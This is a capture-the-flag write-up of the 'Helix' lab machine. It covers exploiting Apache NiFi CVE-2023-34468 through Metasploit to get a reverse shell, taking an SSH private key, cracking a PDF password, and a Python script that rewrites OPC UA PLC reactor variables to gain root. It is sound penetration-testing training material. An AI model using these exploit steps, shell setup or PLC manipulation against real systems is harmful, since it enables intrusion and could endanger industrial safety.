

Helix – Medium Linux Machine

Martina Giacobbe

1 Reconnaissance

The initial phase focused on network enumeration through Nmap in order to identify exposed services, software versions, and potential attack surfaces.

```
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http      nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation &
Critical Infrastructure
|_http-server-header: nginx/1.18.0 (Ubuntu)
```

The machine exposed only two services:

- SSH on port 22
- HTTP on port 80

The web page suggested an industrial environment, specifically an ICS (Industrial Control System) infrastructure.

1.1 Virtual Host Enumeration

Subdomain enumeration was performed with Gobuster.

```
$ gobuster vhost -u http://helix.htb \
--wordlist /usr/share/SecLists/Discovery/DNS/
subdomains-top1million-5000.txt --append-domain

-> flow.helix.htb Status: 200 [Size: 1068]
```

The discovered virtual host redirected to an Apache NiFi instance.

2 Apache NiFi – CVE-2023-34468

The exposed service was identified as:

Apache NiFi 1.21.0

This version is vulnerable to **CVE-2023-34468**, a code injection vulnerability that can lead to Remote Code Execution.

Apache NiFi is a dataflow automation platform frequently used in enterprise and industrial environments to orchestrate pipelines between services and control systems.

The vulnerability abuses unsafe H2 database initialization logic.

A public Metasploit module exists for this issue.

2.1 Exploitation with Metasploit

The exploit was executed through Metasploit.

```
$ msfconsole
$ search CVE-2023-34468
$ use exploit/linux/http/apache_nifi_h2_rce
$ show options

$ set RHOST <attacker_ip>
$ set RPORT <attacker_port>
$ set LHOST <victim_ip_nifi>
$ set LPORT 80
$ set payload /cmd/unix/reverse_shell

$ run
```

Alternatively, a public proof-of-concept script is also available on GitHub.

3 Initial Foothold

A reverse shell listener was started.

```
$ nc -lvnp 9002
```

The exploit successfully returned a shell as the `nifi` user.

```
connect to [10.10.15.10] from (UNKNOWN) [10.129.4.177] 52692
bash: cannot set terminal process group (1017):
Inappropriate ioctl for device
bash: no job control in this shell

nifi@helix:/opt/nifi-1.21.0$
```

While enumerating the filesystem, an SSH private key was found inside the NiFi support bundles directory.

```
nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat opera*

-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktdjEAAAABAG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAATz
c2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAA
AJhCUmdYQ1JnWAAAAATzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSr
bETsWVDH8B41VHNbOwAAAEbWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRt
wui4R6+1dAvmm4wQ9DMwYSj8tKtsROxZUMfwHjVUc1s7AAAAAD3Jvb3RAbWFuYWdl
bWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
```

The key was copied locally.

```
$ sudo vim ssh_key
$ chmod 600 ssh_key
```

SSH access was then attempted.

```
$ ssh -i ssh_key operator@helix.htb
```

If connectivity problems occurred, reducing the MTU fixed packet fragmentation issues frequently encountered in VPN-based HTB environments.

```
$ sudo ip link set tun0 mtu 1200
```

The login succeeded and the user flag was obtained.

4 Privilege Escalation Enumeration

Running `sudo -l` revealed an interesting root executable.

```
operator@helix:~$ sudo -l
```

User operator may run the following commands on helix:

```
(root) NOPASSWD:  
/usr/local/sbin/helix-maint-console
```

Additionally, two files were present inside the operator home directory. These appeared to be technical documentation related to the industrial system.

The files were downloaded locally.

```
$ wget http://helix.htb:8000/'control systems diagram.png'
```

```
$ wget http://helix.htb:8000/'Operator Control & Safety Guide.pdf'
```

The PDF was password protected.

4.1 Cracking the PDF Password

The password hash was extracted using `pdf2john`.

```
$ pdf2john 'Operator Control & Safety Guide.pdf' > hash.txt
```

After removing the filename prefix from the generated hash, Hashcat was used.

```
$ hashcat -m 10700 hash.txt \  
/usr/share/wordlists/rockyou.txt
```

The password was recovered successfully.

```
operator1
```

4.2 Discovering the OPC UA Service

Enumerating listening ports revealed an additional internal service.

```
$ ss -tulpn
```

An OPC UA server was listening on port 4840.

OPC UA (Open Platform Communications Unified Architecture) is a common industrial protocol used for communication between PLCs, SCADA systems, and industrial automation devices.

The environment clearly simulated a realistic ICS infrastructure.

5 Overview

This machine presents a realistic industrial control system scenario. The privilege escalation chain requires:

- Reading technical documentation
- Understanding PLC safety logic
- Enumerating OPC UA nodes
- Manipulating industrial process variables
- Triggering a maintenance window

The attack chain is summarized below:

```
operator shell
  |
  v
sudo -l --> helix-maint-console (root, NOPASSWD)
  |
  v
Analyze bash script --> maintenance_window file
  |
  v
Read PLC documentation
  |
  v
Discover OPC UA server on port 4840
  |
  v
Enumerate nodes
  |
  v
Manipulate PLC state
  |
  v
Open maintenance window
  |
  v
sudo helix-maint-console --> root shell
```

5.1 Analyzing the Maintenance Console

The privileged script was inspected.

```
$ cat /usr/local/sbin/helix-maint-console
```

```
#!/bin/bash
set -euo pipefail
```

```
FLAG="/opt/helix/state/maintenance_window"
```

```

read_until() {
    cat "$FLAG" 2>/dev/null || true
}

window_ok() {

    [ -f "$FLAG" ] || return 1

    local until_ts now

    until_ts="$(read_until)"
    now="$(date +%s)"

    [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
    [ "$now" -lt "$until_ts" ] || return 1

    return 0
}

if ! window_ok; then
    echo "Maintenance window CLOSED."
    exit 1
fi

```

SCOPE="helix-maint-\$\$"

```

systemd-run --quiet --scope --unit="$SCOPE" \
    --property=KillMode=control-group \
    --property=SendSIGHUP=yes \
    /bin/bash -p -i

```

The script launches:

```
/bin/bash -p -i
```

as root, but only if:

```
/opt/helix/state/maintenance_window
```

contains a valid future Unix timestamp.

The file was owned by root and could not be modified directly by the operator user.

Therefore, another system component had to generate it automatically.

5.2 Understanding the PLC Documentation

The operator guide described an industrial reactor simulation.

Important variables included:

Variable	Description
Temperature	Current reactor temperature
Pressure	Current reactor pressure
CalibrationOffset	Sensor maintenance bias
Mode	NORMAL or MAINTENANCE
TestOverride	Enables maintenance override mode
TripActive	Indicates safety shutdown

The documentation also specified the safety thresholds.

- Temperature $\geq 305^{\circ}\text{C} \rightarrow$ safety trip
- Pressure ≥ 75 bar $\rightarrow$ safety trip

The maintenance window opened only if:

- Temperature $\geq 295^{\circ}\text{C}$
- OR Pressure ≥ 73 bar
- AND no safety trip was active

This created a very narrow operating range between normal conditions and a reactor shut-down.

5.3 Enumerating the OPC UA Server

The OPC UA endpoint was:

```
opc.tcp://127.0.0.1:4840/helix/
```

The Python package `asyncua` was already installed on the system, allowing direct interaction with the PLC server.

5.4 Enumerating Top-Level Nodes

```
import asyncio
from asyncua import Client

async def main():

    url = "opc.tcp://127.0.0.1:4840/helix/"

    async with Client(url) as c:

        objects = c.get_objects_node()

        for node in await objects.get_children():
            name = await node.read_browse_name()
            print(f"Node: {node} Name: {name}")

asyncio.run(main())
```

Output:

```
Node: i=31915 Name: Locations
Node: i=2253 Name: Server
Node: ns=2;i=1 Name: Plant
```

5.5 Enumerating Plant Children

```
import asyncio
from asyncua import Client

async def main():

    url = "opc.tcp://127.0.0.1:4840/helix/"

    async with Client(url) as c:

        plant = c.get_node("ns=2;i=1")

        for node in await plant.get_children():
            name = await node.read_browse_name()
            print(f"{node} | {name.Name}")

asyncio.run(main())
```

Output:

```
ns=2;i=2    | Reactor
ns=2;i=7    | Safety
ns=2;i=11   | Control
```

5.6 Enumerating Variables

```
import asyncio
from asyncua import Client

async def main():

    url = "opc.tcp://127.0.0.1:4840/helix/"

    async with Client(url) as c:

        for node_id in ["ns=2;i=2", "ns=2;i=7", "ns=2;i=11"]:

            node = c.get_node(node_id)

            group_name = await node.read_browse_name()

            print(f"\n[{group_name.Name}]")

            for child in await node.get_children():

                name = await child.read_browse_name()

                try:
                    val = await child.read_value()
                except:
                    val = "N/A"
```

```
print(f"{child} | {name.Name} | {val}")

asyncio.run(main())
```

Output:

```
[Reactor]
ns=2;i=3 | TemperatureRaw | 280.8
ns=2;i=4 | Temperature | 280.8
ns=2;i=5 | Pressure | 68.8
ns=2;i=6 | CalibrationOffset | 0.0

[Safety]
ns=2;i=8 | RodsInserted | False
ns=2;i=9 | EmergencyCooling | False
ns=2;i=10 | TripActive | False

[Control]
ns=2;i=12 | Mode | NORMAL
ns=2;i=13 | TestOverride | False
ns=2;i=14 | ResetTrip | False
```

All required node IDs were now identified.

5.7 Exploiting the PLC Logic

The attack strategy was:

1. Enable MAINTENANCE mode
2. Enable TestOverride
3. Gradually increase CalibrationOffset
4. Reach the maintenance threshold
5. Avoid triggering the safety trip

5.8 Exploit Script

```
import asyncio
from asyncua import Client

async def main():

    url = "opc.tcp://127.0.0.1:4840/helix/"

    async with Client(url) as c:

        mode = c.get_node("ns=2;i=12")
        override = c.get_node("ns=2;i=13")
        cal_offset = c.get_node("ns=2;i=6")
        temp = c.get_node("ns=2;i=4")
        pressure = c.get_node("ns=2;i=5")
```

```

trip          = c.get_node("ns=2;i=10")

await mode.write_value("MAINTENANCE")
await override.write_value(True)

print("[*] MAINTENANCE mode enabled")

offset = 1.0

while True:

    t = await temp.read_value()
    p = await pressure.read_value()
    ta = await trip.read_value()

    print(f"Offset={offset:.1f} | "
          f"Temp={t:.1f}C | "
          f"Pressure={p:.1f}bar | "
          f"Trip={ta}")

    if ta:
        print("[-] Safety trip triggered")
        break

    if t >= 295.0 or p >= 73.0:
        print("[+] Maintenance window OPEN!")
        print("[*] Run now:")
        print("sudo /usr/local/sbin/helix-maint-console")
        break

    await cal_offset.write_value(offset)

    offset += 1.0 if t < 290.0 else 0.3

    await asyncio.sleep(2)

asyncio.run(main())

```

The slow ramping process was important.

If `CalibrationOffset` increased too aggressively, the reactor would exceed the safety thresholds before the maintenance condition was registered, triggering a trip and locking the system.

5.9 Root Shell

Once the script indicated that the maintenance window was open:

```
[+] Maintenance window OPEN!
```

the PLC had written a future timestamp into:

```
/opt/helix/state/maintenance_window
```

The privileged maintenance console could now be executed.

```
$ sudo /usr/local/sbin/helix-maint-console
```

Output:

```
[+] Privileged maintenance access granted
[!] Window expires in 3600 seconds
```

```
root@helix:/home/operator# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

The root flag was then retrieved.

```
root@helix:/home/operator# cat /root/root.txt
```

5.10 Why the Exploit Works

The exploitation chain is based on multiple small weaknesses interacting together.

Component	Role in the Exploit
sudo NOPASSWD	Allows execution of the maintenance console as root
bash -p -i	Preserves effective UID inside the spawned shell
Unauthenticated OPC UA	Allows local users to manipulate PLC variables
CalibrationOffset	Indirectly affects reactor conditions without directly bypassing safety logic
Maintenance window file	Generated automatically by the PLC under specific conditions

The machine realistically models a common industrial security issue: the control system itself enforces safety correctly, but trust assumptions around internal communication channels completely collapse once an attacker obtains an initial foothold.